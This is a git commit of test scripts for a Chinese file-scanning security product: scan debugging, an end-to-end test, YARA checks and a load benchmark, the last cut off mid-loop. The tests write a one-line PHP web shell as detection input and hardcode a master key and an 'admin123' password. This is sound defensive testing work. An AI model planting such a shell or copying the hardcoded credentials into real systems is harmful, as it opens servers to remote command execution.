feat: MeshSafe 文件摆渡安全卫士 v1.0 初始提交
核心功能: - 6 层检测管线: L0 结构分析 → L1 ClamAV → L2 文档深度检测 → L3 关键词匹配 → L4 YARA → L5 PE/二进制 - FastAPI + PostgreSQL + Redis + Docker Compose 架构 - 客户端 HMAC-SHA256 签名鉴权 + 限流 + 幂等性 - 控制台 UI (登录/Dashboard/诊断中心/策略管理/任务列表/测试中心/产品介绍页) - 三层诊断定时器 (error_scan 30s / db_aggregate 30s / container_check 5min) 并发与稳定性修复: - 诊断定时器 Redis 时间槽位锁 (多 worker 同一槽位只有一个执行) - JSONL 存储 fcntl 跨进程排他锁 + 容错解码 + 原子重写 - 移除 SQLite fallback, 统一 PostgreSQL - API_CLIENTS 脱敏为环境变量, .env 已 .gitignore
This commit is contained in:
32
tests/_debug_scan.py
Normal file
32
tests/_debug_scan.py
Normal file
@@ -0,0 +1,32 @@
|
||||
import sys, os
|
||||
sys.path.insert(0, '.')
|
||||
os.chdir(r'd:\project\MeshSafe')
|
||||
# DB_URL 由 .env 或 compose environment 提供
|
||||
os.environ.setdefault('MESHSAFE_MASTER_KEY', 'Dt0ktRs8SjEH8VxWZJDX125NV1qiII88HoiXZPhWers=')
|
||||
os.environ.setdefault('MESHSAFE_POLICY_FILE', 'config/policy.yaml')
|
||||
|
||||
from app.services.scanner import Scanner
|
||||
from app.services.policy import PolicyStore
|
||||
|
||||
ps = PolicyStore(policy_file='config/policy.yaml')
|
||||
scanner = Scanner(ps)
|
||||
|
||||
files = [
|
||||
'tests/samples/shell_php_eval.php',
|
||||
'tests/samples/pe_injection.exe',
|
||||
'tests/samples/normal_readme.txt',
|
||||
'tests/samples/normal_deploy.sh',
|
||||
]
|
||||
|
||||
for f in files:
|
||||
print(f"\n{'='*60}")
|
||||
print(f"扫描: {f}")
|
||||
outcome = scanner.scan_file(
|
||||
file_path=f, original_filename=os.path.basename(f),
|
||||
task_id=f"debug-{os.path.basename(f)}", channel='test', client_id='test',
|
||||
)
|
||||
print(f"verdict={outcome.verdict} action={outcome.action} score={outcome.score}")
|
||||
for fi in outcome.findings:
|
||||
print(f" [{fi.engine}] rule={fi.rule} sev={fi.severity} weight={fi.weight}")
|
||||
if outcome.meta.get('engine_errors'):
|
||||
print(f" engine_errors: {outcome.meta['engine_errors']}")
|
||||
113
tests/_e2e_final.py
Normal file
113
tests/_e2e_final.py
Normal file
@@ -0,0 +1,113 @@
|
||||
import sys, os, time, hashlib, tempfile
|
||||
sys.path.insert(0, '.')
|
||||
# DB_URL 由 .env 或 compose environment 提供
|
||||
os.environ.setdefault('MESHSAFE_MASTER_KEY', 'Dt0ktRs8SjEH8VxWZJDX125NV1qiII88HoiXZPhWers=')
|
||||
os.environ.setdefault('MESHSAFE_POLICY_FILE', 'config/policy.yaml')
|
||||
os.environ.setdefault('MESHSAFE_ADMIN_PASSWORD', 'admin123')
|
||||
|
||||
# 等 uvicorn 起来
|
||||
for _ in range(15):
|
||||
try:
|
||||
import requests
|
||||
r = requests.get('http://127.0.0.1:8443/health', timeout=2)
|
||||
if r.status_code == 200:
|
||||
break
|
||||
except Exception:
|
||||
pass
|
||||
time.sleep(0.5)
|
||||
else:
|
||||
print('❌ uvicorn 没起来')
|
||||
sys.exit(1)
|
||||
print('✅ uvicorn 已就绪')
|
||||
|
||||
import requests
|
||||
from app.services.scanner import Scanner
|
||||
from app.services.policy import PolicyStore
|
||||
from app.db import SessionLocal
|
||||
from app.models import ScanTask, ScanFinding, IdempotencyRecord
|
||||
|
||||
ps = PolicyStore(policy_file='config/policy.yaml')
|
||||
scanner = Scanner(ps)
|
||||
|
||||
# ---- 1. 控制台登录 + 页面 ----
|
||||
s = requests.Session()
|
||||
r = s.post('http://127.0.0.1:8443/console/login', data={'username': 'admin', 'password': 'admin123'})
|
||||
print(f'\n1. login: {r.status_code}')
|
||||
|
||||
r = s.get('http://127.0.0.1:8443/console/')
|
||||
print(f'2. dashboard: {r.status_code}')
|
||||
|
||||
r = s.get('http://127.0.0.1:8443/console/policy')
|
||||
print(f'3. policy: {r.status_code} yara_tab={"panel-yara" in r.text}')
|
||||
|
||||
r = s.get('http://127.0.0.1:8443/console/tasks')
|
||||
print(f'4. tasks: {r.status_code}')
|
||||
|
||||
r = requests.get('http://127.0.0.1:8443/health')
|
||||
d = r.json()
|
||||
print(f'5. /health: status={d["status"]} yara_ok={d["engines"]["yara"]["ok"]} clamav_stale={d["engines"]["clamav"].get("stale_warning")}')
|
||||
|
||||
# ---- 2. 正常扫描(首次)----
|
||||
tmp1 = tempfile.NamedTemporaryFile(delete=False, suffix='.php')
|
||||
tmp1.write(b'<?php eval($_POST["cmd"]); echo "ok"; ?>')
|
||||
tmp1.close()
|
||||
|
||||
t1 = time.perf_counter()
|
||||
outcome1 = scanner.scan_file(
|
||||
file_path=tmp1.name, original_filename='shell.php',
|
||||
task_id='e2e-idem-001', channel='e2e', client_id='test',
|
||||
)
|
||||
first_ms = int((time.perf_counter() - t1) * 1000)
|
||||
|
||||
os.unlink(tmp1.name)
|
||||
|
||||
print(f'\n6. 首次扫描: verdict={outcome1.verdict} score={outcome1.score} findings={len(outcome1.findings)} took={first_ms}ms idem={outcome1.meta.get("idempotent", False)}')
|
||||
|
||||
# 验证 idempotency_records 表写入
|
||||
db = SessionLocal()
|
||||
idem_count = db.query(IdempotencyRecord).count()
|
||||
print(f' idempotency_records 表行数: {idem_count}')
|
||||
db.close()
|
||||
|
||||
# ---- 3. 幂等二次扫描(同内容 + 同策略)----
|
||||
tmp2 = tempfile.NamedTemporaryFile(delete=False, suffix='.php')
|
||||
tmp2.write(b'<?php eval($_POST["cmd"]); echo "ok"; ?>') # 完全相同内容
|
||||
tmp2.close()
|
||||
|
||||
t2 = time.perf_counter()
|
||||
outcome2 = scanner.scan_file(
|
||||
file_path=tmp2.name, original_filename='shell.php',
|
||||
task_id='e2e-idem-002', channel='e2e', client_id='test',
|
||||
)
|
||||
idem_ms = int((time.perf_counter() - t2) * 1000)
|
||||
|
||||
os.unlink(tmp2.name)
|
||||
|
||||
print(f'\n7. 幂等扫描: verdict={outcome2.verdict} findings={len(outcome2.findings)} took={idem_ms}ms idem={outcome2.meta.get("idempotent", False)}')
|
||||
speedup = first_ms / max(idem_ms, 1)
|
||||
print(f' 提速: {speedup:.1f}x(幂等跳过了引擎扫描)')
|
||||
|
||||
assert outcome2.meta.get('idempotent') is True, '❌ 幂等未命中'
|
||||
assert idem_ms < first_ms, '❌ 幂等应该更快'
|
||||
print(' ✅ 幂等生效')
|
||||
|
||||
# ---- 4. 限流(内存模式,client_id=test)----
|
||||
# 扫描接口需要签名,这里用 memory 限流直接测底层
|
||||
from app.security.ratelimit import _memory_check
|
||||
|
||||
# 填满窗口
|
||||
for _ in range(60):
|
||||
_memory_check('test:ratelimit_test', 60)
|
||||
|
||||
ok = _memory_check('test:ratelimit_test', 60)
|
||||
print(f'\n8. 限流测试(61/60): {"通过" if ok else "被拒绝 ✅"}')
|
||||
|
||||
assert ok is False, '❌ 限流应拒绝第 61 次'
|
||||
print(' ✅ 限流生效')
|
||||
|
||||
# 清内存窗口,给后续 run 不受影响
|
||||
import app.security.ratelimit as rl
|
||||
with rl._MEM_LOCK:
|
||||
rl._MEM_BUCKET.clear()
|
||||
|
||||
print('\n=== E2E 全部通过 ✅ ===')
|
||||
42
tests/_yara_check.py
Normal file
42
tests/_yara_check.py
Normal file
@@ -0,0 +1,42 @@
|
||||
import yara, os
|
||||
os.chdir(r'd:\project\MeshSafe')
|
||||
rules = yara.compile(filepaths={f: os.path.join('rules', f) for f in os.listdir('rules') if f.endswith('.yar')})
|
||||
|
||||
# 测 PHP eval
|
||||
import tempfile
|
||||
tmp = tempfile.NamedTemporaryFile(delete=False, suffix='.php', mode='wb')
|
||||
tmp.write(b'<?php eval($_POST["cmd"]); echo "ok"; ?>')
|
||||
tmp.close()
|
||||
matches = rules.match(tmp.name)
|
||||
print(f'PHP eval: {[m.rule for m in matches]}')
|
||||
os.unlink(tmp.name)
|
||||
|
||||
# 测 PE
|
||||
pe_path = 'tests/samples/pe_injection.exe'
|
||||
if os.path.exists(pe_path):
|
||||
matches = rules.match(pe_path)
|
||||
print(f'PE injection: {[m.rule for m in matches]}')
|
||||
|
||||
# 测 PHP 文件(用真实样本)
|
||||
php_path = 'tests/samples/shell_php_eval.php'
|
||||
if os.path.exists(php_path):
|
||||
matches = rules.match(php_path)
|
||||
print(f'shell_php_eval.php: {[m.rule for m in matches]}')
|
||||
|
||||
# 测 python reverse shell
|
||||
py_path = 'tests/samples/shell_python.py'
|
||||
if os.path.exists(py_path):
|
||||
matches = rules.match(py_path)
|
||||
print(f'shell_python.py: {[m.rule for m in matches]}')
|
||||
|
||||
# 测 certutil lolbin
|
||||
lol_path = 'tests/samples/lolbin.cmd'
|
||||
if os.path.exists(lol_path):
|
||||
matches = rules.match(lol_path)
|
||||
print(f'lolbin.cmd: {[m.rule for m in matches]}')
|
||||
|
||||
# 测 normal_deploy.sh
|
||||
sh_path = 'tests/samples/normal_deploy.sh'
|
||||
if os.path.exists(sh_path):
|
||||
matches = rules.match(sh_path)
|
||||
print(f'normal_deploy.sh: {[m.rule for m in matches]}')
|
||||
661
tests/benchmark.py
Normal file
661
tests/benchmark.py
Normal file
@@ -0,0 +1,661 @@
|
||||
#!/usr/bin/env python3
|
||||
"""MeshSafe 并发压测脚本。
|
||||
|
||||
用法:
|
||||
python tests/benchmark.py # 跑全部默认场景
|
||||
python tests/benchmark.py --concurrent 50 # 只跑 50 并发
|
||||
python tests/benchmark.py --concurrent 50 100 # 跑 50 和 100 两档
|
||||
python tests/benchmark.py --batch-sizes 10 50 100 # 批量档
|
||||
python tests/benchmark.py --base-url http://127.0.0.1:44380
|
||||
python tests/benchmark.py --report out.json # 额外输出 JSON 报告
|
||||
|
||||
原理:
|
||||
httpx.AsyncClient + asyncio.Semaphore 控制并发数
|
||||
样本从 tests/samples/ 自动扫描,按大小分档
|
||||
大文件(5MB)现场 os.urandom 生成后自动清理
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import asyncio
|
||||
import json
|
||||
import os
|
||||
import random
|
||||
import statistics
|
||||
import sys
|
||||
import tempfile
|
||||
import time
|
||||
from dataclasses import dataclass, field
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
from typing import List, Optional, Tuple
|
||||
|
||||
import httpx
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# 配置常量
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
DEFAULT_BASE_URL = "http://127.0.0.1:44380"
|
||||
SAMPLES_DIR = Path(__file__).resolve().parent / "samples"
|
||||
DEFAULT_TIMEOUT = 60.0 # 单个请求 60s 超时
|
||||
WARMUP_COUNT = 5 # 预热次数(不计入统计)
|
||||
|
||||
# 大小分档(字节)
|
||||
SIZE_TINY = 2 * 1024 # ≤ 2KB
|
||||
SIZE_SMALL = 16 * 1024 # 2KB ~ 16KB
|
||||
SIZE_MEDIUM = 100 * 1024 # 16KB ~ 100KB
|
||||
SIZE_LARGE = 5 * 1024 * 1024 # ≥ 5MB(现场生成)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# 数据类
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
@dataclass
|
||||
class SampleFile:
|
||||
path: Path
|
||||
name: str
|
||||
size: int
|
||||
size_bucket: str # tiny / small / medium / large
|
||||
|
||||
|
||||
@dataclass
|
||||
class RequestResult:
|
||||
idx: int
|
||||
start_ts: float
|
||||
end_ts: float
|
||||
duration_ms: int
|
||||
status_code: int
|
||||
ok: bool
|
||||
error: Optional[str] = None
|
||||
files_count: int = 0
|
||||
avg_file_ms: int = 0
|
||||
|
||||
|
||||
@dataclass
|
||||
class ScenarioResult:
|
||||
name: str
|
||||
concurrent: int
|
||||
files_per_request: int
|
||||
size_bucket: str
|
||||
started_at: str
|
||||
finished_at: str
|
||||
total_duration_ms: int
|
||||
results: List[RequestResult] = field(default_factory=list)
|
||||
|
||||
# 聚合统计
|
||||
@property
|
||||
def total_requests(self) -> int:
|
||||
return len(self.results)
|
||||
|
||||
@property
|
||||
def total_files(self) -> int:
|
||||
return sum(r.files_count for r in self.results)
|
||||
|
||||
@property
|
||||
def qps(self) -> float:
|
||||
if self.total_duration_ms <= 0:
|
||||
return 0.0
|
||||
return self.total_requests / (self.total_duration_ms / 1000.0)
|
||||
|
||||
@property
|
||||
def files_per_sec(self) -> float:
|
||||
if self.total_duration_ms <= 0:
|
||||
return 0.0
|
||||
return self.total_files / (self.total_duration_ms / 1000.0)
|
||||
|
||||
@property
|
||||
def latencies_ms(self) -> List[int]:
|
||||
return [r.duration_ms for r in self.results if r.ok]
|
||||
|
||||
@property
|
||||
def avg_ms(self) -> float:
|
||||
data = self.latencies_ms
|
||||
return statistics.mean(data) if data else 0.0
|
||||
|
||||
@property
|
||||
def p50_ms(self) -> float:
|
||||
data = self.latencies_ms
|
||||
return self._percentile(data, 50) if data else 0.0
|
||||
|
||||
@property
|
||||
def p95_ms(self) -> float:
|
||||
data = self.latencies_ms
|
||||
return self._percentile(data, 95) if data else 0.0
|
||||
|
||||
@property
|
||||
def p99_ms(self) -> float:
|
||||
data = self.latencies_ms
|
||||
return self._percentile(data, 99) if data else 0.0
|
||||
|
||||
@property
|
||||
def error_rate(self) -> float:
|
||||
if not self.results:
|
||||
return 0.0
|
||||
bad = sum(1 for r in self.results if not r.ok)
|
||||
return bad / len(self.results)
|
||||
|
||||
@property
|
||||
def slowest(self) -> Optional[RequestResult]:
|
||||
oks = [r for r in self.results if r.ok]
|
||||
return max(oks, key=lambda r: r.duration_ms) if oks else None
|
||||
|
||||
@staticmethod
|
||||
def _percentile(data: List[int], pct: float) -> float:
|
||||
if not data:
|
||||
return 0.0
|
||||
s = sorted(data)
|
||||
k = (len(s) - 1) * (pct / 100.0)
|
||||
f = int(k)
|
||||
c = f + 1 if f + 1 < len(s) else f
|
||||
if f == c:
|
||||
return float(s[f])
|
||||
return float(s[f] * (c - k) + s[c] * (k - f))
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# 样本加载
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def load_samples() -> List[SampleFile]:
|
||||
"""扫描 tests/samples/ 下所有文件(跳过 index.json 和 _scan_results.json)。"""
|
||||
samples: List[SampleFile] = []
|
||||
if not SAMPLES_DIR.exists():
|
||||
return samples
|
||||
for p in SAMPLES_DIR.iterdir():
|
||||
if not p.is_file():
|
||||
continue
|
||||
if p.name.startswith("_") or p.suffix == ".json":
|
||||
continue
|
||||
size = p.stat().st_size
|
||||
if size <= SIZE_TINY:
|
||||
bucket = "tiny"
|
||||
elif size <= SIZE_SMALL:
|
||||
bucket = "small"
|
||||
elif size <= SIZE_MEDIUM:
|
||||
bucket = "medium"
|
||||
else:
|
||||
bucket = "large"
|
||||
samples.append(SampleFile(path=p, name=p.name, size=size, size_bucket=bucket))
|
||||
return samples
|
||||
|
||||
|
||||
def pick_samples(
|
||||
all_samples: List[SampleFile],
|
||||
count: int,
|
||||
bucket: str = "mixed",
|
||||
with_large_placeholder: bool = False,
|
||||
) -> List[SampleFile]:
|
||||
"""从样本池里挑 count 个文件。
|
||||
|
||||
bucket: tiny / small / medium / large / mixed
|
||||
with_large_placeholder: 如果 bucket=large,返回一个 placeholder 让调用者生成大文件
|
||||
"""
|
||||
if not all_samples and not with_large_placeholder:
|
||||
return []
|
||||
|
||||
pool = all_samples
|
||||
if bucket != "mixed":
|
||||
pool = [s for s in all_samples if s.size_bucket == bucket]
|
||||
if not pool:
|
||||
# 如果指定 bucket 没文件,fallback 到 mixed
|
||||
pool = all_samples
|
||||
|
||||
picked = random.choices(pool, k=count)
|
||||
return list(picked)
|
||||
|
||||
|
||||
def make_large_temp_file(size_bytes: int = 5 * 1024 * 1024) -> Tuple[tempfile.NamedTemporaryFile, str]:
|
||||
"""生成大文件(5MB),用于 large bucket 测试。"""
|
||||
tmp = tempfile.NamedTemporaryFile(delete=False, suffix=".bin")
|
||||
tmp.write(os.urandom(size_bytes))
|
||||
tmp.flush()
|
||||
return tmp, tmp.name
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# 核心压测客户端
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class BenchmarkClient:
|
||||
def __init__(
|
||||
self,
|
||||
base_url: str,
|
||||
username: str = "admin",
|
||||
password: str = "admin123",
|
||||
timeout: float = DEFAULT_TIMEOUT,
|
||||
) -> None:
|
||||
self.base_url = base_url.rstrip("/")
|
||||
self.username = username
|
||||
self.password = password
|
||||
self.timeout = timeout
|
||||
self.cookies: httpx.Cookies = httpx.Cookies()
|
||||
|
||||
async def login(self) -> None:
|
||||
"""登录 console,获取 session cookie。"""
|
||||
async with httpx.AsyncClient(timeout=self.timeout, verify=False, follow_redirects=True) as c:
|
||||
# 先 GET 登录页拿 csrf(如果有)
|
||||
await c.get(f"{self.base_url}/console/login")
|
||||
r = await c.post(
|
||||
f"{self.base_url}/console/login",
|
||||
data={"username": self.username, "password": self.password},
|
||||
headers={"Content-Type": "application/x-www-form-urlencoded"},
|
||||
)
|
||||
self.cookies = c.cookies
|
||||
if r.status_code not in (200, 302):
|
||||
raise RuntimeError(f"登录失败: HTTP {r.status_code}")
|
||||
|
||||
async def upload_one(
|
||||
self,
|
||||
client: httpx.AsyncClient,
|
||||
files: List[Tuple[str, bytes, str]], # [(filename, content_bytes, content_type), ...]
|
||||
) -> RequestResult:
|
||||
"""一次 upload 请求(可带多文件)。"""
|
||||
idx = random.randint(0, 999999)
|
||||
t0 = time.perf_counter()
|
||||
file_handles = []
|
||||
try:
|
||||
# 构造 files 参数
|
||||
upload_files = [("files", (name, content, ct)) for name, content, ct in files]
|
||||
r = await client.post(
|
||||
f"{self.base_url}/console/test/upload",
|
||||
files=upload_files,
|
||||
)
|
||||
t1 = time.perf_counter()
|
||||
ok = r.status_code == 200
|
||||
error = None
|
||||
files_count = len(files)
|
||||
if ok:
|
||||
try:
|
||||
body = r.json()
|
||||
if isinstance(body, dict):
|
||||
results_list = body.get("results", [])
|
||||
ok = all(it.get("verdict") not in ("error",) for it in results_list)
|
||||
except Exception as exc:
|
||||
ok = False
|
||||
error = f"JSON decode error: {exc}"
|
||||
else:
|
||||
error = f"HTTP {r.status_code}"
|
||||
avg_file_ms = int((t1 - t0) * 1000 / max(files_count, 1))
|
||||
return RequestResult(
|
||||
idx=idx,
|
||||
start_ts=t0,
|
||||
end_ts=t1,
|
||||
duration_ms=int((t1 - t0) * 1000),
|
||||
status_code=r.status_code,
|
||||
ok=ok,
|
||||
error=error,
|
||||
files_count=files_count,
|
||||
avg_file_ms=avg_file_ms,
|
||||
)
|
||||
except Exception as exc: # noqa: BLE001
|
||||
t1 = time.perf_counter()
|
||||
return RequestResult(
|
||||
idx=idx,
|
||||
start_ts=t0,
|
||||
end_ts=t1,
|
||||
duration_ms=int((t1 - t0) * 1000),
|
||||
status_code=0,
|
||||
ok=False,
|
||||
error=str(exc),
|
||||
files_count=len(files),
|
||||
)
|
||||
finally:
|
||||
for fh in file_handles:
|
||||
try:
|
||||
fh.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
async def run_scenario(
|
||||
self,
|
||||
name: str,
|
||||
concurrent: int,
|
||||
total_requests: int,
|
||||
files_per_request: int,
|
||||
size_bucket: str,
|
||||
samples: List[SampleFile],
|
||||
) -> ScenarioResult:
|
||||
"""跑一个场景。
|
||||
|
||||
concurrent: 并发度(同时在飞的请求数上限)
|
||||
total_requests: 总共发多少请求
|
||||
files_per_request: 每个请求带几个文件(1=单文件场景,>1=批量)
|
||||
size_bucket: tiny/small/medium/large/mixed
|
||||
samples: 样本池
|
||||
"""
|
||||
result = ScenarioResult(
|
||||
name=name,
|
||||
concurrent=concurrent,
|
||||
files_per_request=files_per_request,
|
||||
size_bucket=size_bucket,
|
||||
started_at=datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
|
||||
finished_at="",
|
||||
total_duration_ms=0,
|
||||
)
|
||||
|
||||
sem = asyncio.Semaphore(concurrent)
|
||||
|
||||
async def _worker(idx: int, client: httpx.AsyncClient) -> RequestResult:
|
||||
async with sem:
|
||||
return await self._make_request(client, files_per_request, size_bucket, samples)
|
||||
|
||||
connector = httpx.Limits(max_connections=concurrent * 2, max_keepalive_connections=concurrent)
|
||||
async with httpx.AsyncClient(
|
||||
timeout=self.timeout,
|
||||
verify=False,
|
||||
follow_redirects=True,
|
||||
cookies=self.cookies,
|
||||
limits=connector,
|
||||
) as client:
|
||||
# 预热(不计入)
|
||||
if WARMUP_COUNT > 0:
|
||||
warmup_samples = pick_samples(samples, 1, size_bucket)
|
||||
for _ in range(min(WARMUP_COUNT, total_requests)):
|
||||
try:
|
||||
warmup_files = [(s.name, s.path.read_bytes(), "application/octet-stream") for s in warmup_samples]
|
||||
await self.upload_one(client, warmup_files)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# 正式跑
|
||||
t_start = time.perf_counter()
|
||||
tasks = [asyncio.create_task(_worker(i, client)) for i in range(total_requests)]
|
||||
for fut in asyncio.as_completed(tasks):
|
||||
r = await fut
|
||||
result.results.append(r)
|
||||
t_end = time.perf_counter()
|
||||
|
||||
result.total_duration_ms = int((t_end - t_start) * 1000)
|
||||
result.finished_at = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
|
||||
|
||||
return result
|
||||
|
||||
async def _make_request(
|
||||
self,
|
||||
client: httpx.AsyncClient,
|
||||
files_per_request: int,
|
||||
size_bucket: str,
|
||||
samples: List[SampleFile],
|
||||
) -> RequestResult:
|
||||
"""构造一个请求的文件列表,处理大文件临时生成。"""
|
||||
# 决定这个请求里每个文件的 bucket
|
||||
if size_bucket == "mixed":
|
||||
# 混合:随机挑 30% 小、50% 中、20% 大(大的现场生成)
|
||||
pass
|
||||
|
||||
picked = pick_samples(samples, files_per_request, size_bucket)
|
||||
|
||||
upload_files: List[Tuple[str, bytes, str]] = []
|
||||
temp_files_to_clean: List[str] = []
|
||||
|
||||
for s in picked:
|
||||
if size_bucket == "large" or (size_bucket == "mixed" and random.random() < 0.2 and s.size_bucket != "large"):
|
||||
# 生成大文件 placeholder(用 .bin 模拟,如果没有 large bucket 样本)
|
||||
tmp_path = None
|
||||
large_candidates = [ps for ps in picked if ps.size_bucket == "large"]
|
||||
if large_candidates:
|
||||
real = random.choice(large_candidates)
|
||||
upload_files.append((real.name, real.path.read_bytes(), "application/octet-stream"))
|
||||
else:
|
||||
tmp, tmp_path = make_large_temp_file(5 * 1024 * 1024)
|
||||
upload_files.append((f"large_test_{tmp.name}.bin", Path(tmp.name).read_bytes(), "application/octet-stream"))
|
||||
temp_files_to_clean.append(tmp.name)
|
||||
tmp.close()
|
||||
else:
|
||||
upload_files.append((s.name, s.path.read_bytes(), "application/octet-stream"))
|
||||
|
||||
try:
|
||||
return await self.upload_one(client, upload_files)
|
||||
finally:
|
||||
for tf in temp_files_to_clean:
|
||||
try:
|
||||
os.unlink(tf)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# 报告格式化
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def print_report(scenarios: List[ScenarioResult], base_url: str, workers: int = 4) -> None:
|
||||
"""终端输出汇总报告。"""
|
||||
print("\n" + "=" * 80)
|
||||
print(" MeshSafe 并发压测报告")
|
||||
print("=" * 80)
|
||||
print(f" 目标: {base_url}")
|
||||
print(f" 时间: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
|
||||
print(f" uvicorn: --workers {workers}")
|
||||
print(f" DB pool: pool_size=20, max_overflow=30 (总上限 50)")
|
||||
print(f" 预热: {WARMUP_COUNT} 次不计入")
|
||||
print("-" * 80)
|
||||
|
||||
for sc in scenarios:
|
||||
print(f"\n【{sc.name}】")
|
||||
print(f" 并发数: {sc.concurrent}")
|
||||
print(f" 请求文件数: {sc.files_per_request} 个/请求")
|
||||
print(f" 文件大小档: {sc.size_bucket}")
|
||||
print(f" 总请求数: {sc.total_requests}")
|
||||
print(f" 总文件数: {sc.total_files}")
|
||||
print(f" 总耗时: {sc.total_duration_ms} ms ({sc.total_duration_ms/1000:.2f}s)")
|
||||
print(f" QPS: {sc.qps:.2f} req/s")
|
||||
print(f" 文件吞吐: {sc.files_per_sec:.2f} files/s")
|
||||
print(f" 单请求耗时:")
|
||||
print(f" 平均: {sc.avg_ms:.0f} ms")
|
||||
print(f" P50: {sc.p50_ms:.0f} ms")
|
||||
print(f" P95: {sc.p95_ms:.0f} ms")
|
||||
print(f" P99: {sc.p99_ms:.0f} ms")
|
||||
print(f" 错误率: {sc.error_rate*100:.1f}%")
|
||||
if sc.slowest:
|
||||
slowest_msg = sc.slowest.error or "ok"
|
||||
print(f" 最慢请求: {sc.slowest.duration_ms} ms ({slowest_msg[:60]})")
|
||||
|
||||
# 瓶颈分析
|
||||
print("\n" + "-" * 80)
|
||||
print("【瓶颈分析】")
|
||||
_analyze(scenarios)
|
||||
|
||||
print("\n" + "=" * 80)
|
||||
|
||||
|
||||
def _analyze(scenarios: List[ScenarioResult]) -> None:
|
||||
if not scenarios:
|
||||
return
|
||||
for sc in scenarios:
|
||||
if sc.concurrent == 1 and sc.files_per_request == 1 and sc.size_bucket in ("mixed", "medium"):
|
||||
baseline = sc.avg_ms
|
||||
print(f" 基准单文件串行: {baseline:.0f} ms")
|
||||
|
||||
# 并发场景看扩展效率
|
||||
for sc in scenarios:
|
||||
if sc.concurrent > 1 and sc.files_per_request == 1:
|
||||
print(f" {sc.concurrent} 并发单文件:")
|
||||
if sc.avg_ms < 300:
|
||||
print(f" ✅ 响应快(avg={sc.avg_ms:.0f}ms)")
|
||||
elif sc.avg_ms < 800:
|
||||
print(f" ⚠️ 中等(avg={sc.avg_ms:.0f}ms)")
|
||||
else:
|
||||
print(f" 🔴 较慢(avg={sc.avg_ms:.0f}ms)—— 可能 uvicorn worker 不够或 DB pool 满")
|
||||
|
||||
if sc.error_rate > 0:
|
||||
print(f" 🔴 错误率 {sc.error_rate*100:.1f}% —— 检查 DB 连接池 / ClamAV / YARA")
|
||||
|
||||
if sc.files_per_request > 1:
|
||||
per_file = sc.avg_ms / sc.files_per_request
|
||||
print(f" 批量 {sc.files_per_request} 文件·单用户:")
|
||||
print(f" 总耗时 ≈ {sc.avg_ms:.0f}ms 单文件均摊 ≈ {per_file:.0f}ms")
|
||||
if per_file > 300:
|
||||
print(f" ⚠️ 批量内部 for 循环串行,单文件均摊偏高—— 可考虑 ThreadPoolExecutor 并行化")
|
||||
else:
|
||||
print(f" ✅ 批量表现正常")
|
||||
|
||||
|
||||
def to_json_report(scenarios: List[ScenarioResult], base_url: str) -> dict:
|
||||
return {
|
||||
"generated_at": datetime.now().isoformat(),
|
||||
"base_url": base_url,
|
||||
"uvicorn_workers": 4,
|
||||
"db_pool": {"pool_size": 20, "max_overflow": 30},
|
||||
"scenarios": [
|
||||
{
|
||||
"name": sc.name,
|
||||
"concurrent": sc.concurrent,
|
||||
"files_per_request": sc.files_per_request,
|
||||
"size_bucket": sc.size_bucket,
|
||||
"started_at": sc.started_at,
|
||||
"finished_at": sc.finished_at,
|
||||
"total_duration_ms": sc.total_duration_ms,
|
||||
"total_requests": sc.total_requests,
|
||||
"total_files": sc.total_files,
|
||||
"qps": round(sc.qps, 2),
|
||||
"files_per_sec": round(sc.files_per_sec, 2),
|
||||
"latency_ms": {
|
||||
"avg": round(sc.avg_ms, 1),
|
||||
"p50": round(sc.p50_ms, 1),
|
||||
"p95": round(sc.p95_ms, 1),
|
||||
"p99": round(sc.p99_ms, 1),
|
||||
},
|
||||
"error_rate": round(sc.error_rate, 4),
|
||||
"slowest_ms": sc.slowest.duration_ms if sc.slowest else None,
|
||||
}
|
||||
for sc in scenarios
|
||||
],
|
||||
}
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# 主入口
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
async def _main() -> None:
|
||||
parser = argparse.ArgumentParser(description="MeshSafe 并发压测")
|
||||
parser.add_argument("--base-url", default=DEFAULT_BASE_URL, help="MeshSafe 基地址")
|
||||
parser.add_argument("--username", default="admin")
|
||||
parser.add_argument("--password", default="admin123")
|
||||
parser.add_argument(
|
||||
"--concurrent",
|
||||
nargs="+",
|
||||
type=int,
|
||||
default=[50, 100],
|
||||
help="并发度档位(可多值)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--batch-sizes",
|
||||
nargs="+",
|
||||
type=int,
|
||||
default=[10, 50],
|
||||
help="批量上传文件数(单用户·多文件场景)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--requests-per-batch",
|
||||
type=int,
|
||||
default=5,
|
||||
help="批量场景下发几个请求(每个请求带 N 文件)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--requests-per-concurrent",
|
||||
type=int,
|
||||
default=2,
|
||||
help="并发场景下每个并发度发几个请求",
|
||||
)
|
||||
parser.add_argument("--timeout", type=float, default=DEFAULT_TIMEOUT)
|
||||
parser.add_argument("--report", default=None, help="JSON 报告输出路径")
|
||||
args = parser.parse_args()
|
||||
|
||||
# 1. 加载样本
|
||||
all_samples = load_samples()
|
||||
if not all_samples:
|
||||
print(f"❌ tests/samples/ 下没找到样本文件")
|
||||
sys.exit(1)
|
||||
sizes = sorted([(s.size, s.size_bucket) for s in all_samples], reverse=True)
|
||||
print(f"📦 样本池: {len(all_samples)} 个文件")
|
||||
for bucket in ("tiny", "small", "medium", "large"):
|
||||
count = sum(1 for _, b in sizes if b == bucket)
|
||||
if count:
|
||||
